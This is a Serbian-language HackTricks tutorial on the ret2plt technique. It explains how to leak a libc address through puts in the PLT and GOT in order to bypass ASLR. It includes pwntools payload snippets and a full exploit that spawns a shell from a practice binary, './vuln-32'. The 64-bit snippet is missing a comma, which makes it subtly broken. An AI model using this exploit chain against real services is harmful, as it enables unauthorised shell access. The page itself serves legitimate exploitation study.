Ret2plt

Reading time: 3 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

Cilj ove tehnike bi bio da izvuče adresu iz funkcije iz PLT-a kako bi se moglo zaobići ASLR. To je zato što, na primer, ako izvučete adresu funkcije puts iz libc-a, možete zatim izračunati gde je osnova libc i izračunati ofsete za pristup drugim funkcijama kao što su system.

Ovo se može uraditi sa pwntools payload-om kao što je (odavde):

python
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

Napomena kako se puts (koristeći adresu iz PLT-a) poziva sa adresom puts koja se nalazi u GOT-u (Global Offset Table). To je zato što do trenutka kada puts ispiše GOT unos puts, ovaj unos će sadržati tačnu adresu puts u memoriji.

Takođe, obratite pažnju kako se adresa main koristi u eksploitu, tako da kada puts završi svoju izvršavanje, binarni program ponovo poziva main umesto da izlazi (tako da će otkrivena adresa ostati važeća).

caution

Napomena kako da bi ovo funkcionisalo, binarni program ne može biti kompajliran sa PIE ili morate pronaći leak da zaobiđete PIE kako biste znali adresu PLT-a, GOT-a i main. U suprotnom, prvo morate zaobići PIE.

Možete pronaći potpun primer ovog zaobilaženja ovde. Ovo je bio konačni exploit iz tog primera:

python
from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvline()

payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)

p.sendline(payload)

puts_leak = u32(p.recv(4))
p.recvlines(2)

libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)

p.interactive()

Drugi primeri i reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks